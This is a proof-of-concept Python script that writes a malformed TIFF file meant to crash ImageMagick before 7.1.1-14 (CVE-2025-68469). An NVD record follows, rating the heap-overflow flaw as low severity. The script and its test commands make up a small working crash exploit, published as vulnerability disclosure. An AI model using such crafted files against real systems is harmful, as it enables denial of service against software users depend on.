CVE-2025-68469

#!/usr/bin/env python3 """ CVE-2025-68469 PoC - ImageMagick Malformed TIFF File Crash This PoC generates a crafted TIFF file that triggers a crash in ImageMagick < 7.1.1-14 """ import struct import sys def create_malformed_tiff(): """ Create a malformed TIFF file that triggers ImageMagick crash by manipulating TIFF header and IFD structure with invalid values """ # TIFF Header tiff_header = bytearray() # Byte order: Little Endian tiff_header.extend(b'II') # Magic number for TIFF tiff_header.extend(struct.pack('<H', 42)) # Offset to first IFD (8 bytes after header) tiff_header.extend(struct.pack('<I', 8)) # IFD (Image File Directory) with malformed entries ifd_entries = bytearray() # Number of directory entries (3 entries) num_entries = 3 ifd_entries.extend(struct.pack('<H', num_entries)) # Entry 1: ImageWidth with invalid large value # Tag: 256 (ImageWidth), Type: 3 (SHORT), Count: 1, Value: 0xFFFF (invalid) ifd_entries.extend(struct.pack('<HHII', 256, 3, 1, 0xFFFF)) # Entry 2: ImageLength with zero value # Tag: 257 (ImageLength), Type: 3 (SHORT), Count: 1, Value: 0 ifd_entries.extend(struct.pack('<HHII', 257, 3, 1, 0)) # Entry 3: BitsPerSample with invalid compression-related value # Tag: 258 (BitsPerSample), Type: 3 (SHORT), Count: 1, Value: 65535 ifd_entries.extend(struct.pack('<HHII', 258, 3, 1, 65535)) # Next IFD offset (no more IFDs) ifd_entries.extend(struct.pack('<I', 0)) # Combine header and IFD tiff_data = tiff_header + ifd_entries return bytes(tiff_data) def main(): print("[*] CVE-2025-68469 ImageMagick Malformed TIFF PoC") print("[*] Generating malformed TIFF file...") tiff_data = create_malformed_tiff() output_file = "CVE-2025-68469_malformed.tiff" with open(output_file, 'wb') as f: f.write(tiff_data) print(f"[+] Created: {output_file}") print(f"[+] File size: {len(tiff_data)} bytes") print("\n[*] To test, run: convert CVE-2025-68469_malformed.tiff output.png") print("[*] Or: identify CVE-2025-68469_malformed.tiff") print("[*] ImageMagick < 7.1.1-14 should crash when processing this file") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-68469", "sourceIdentifier": "[email protected]", "published": "2025-12-18T16:15:57.700", "lastModified": "2025-12-30T19:56:36.630", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ImageMagick is free and open-source software used for editing and manipulating digital images. Prior to version 7.1.1-14, ImageMagick crashes when processing a crafted TIFF file. Version 7.1.1-14 fixes the issue."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.0, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L", "baseScore": 3.3, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:imagemagick:imagemagick:*:*:*:*:*:*:*:*", "versionEndExcluding": "7.1.1-14", "matchCriteriaId": "714F9F88-65CD-4D97-9CA0-09F9BB3947C1"}]}]}], "references": [{"url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-fff3-4rp7-px97", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}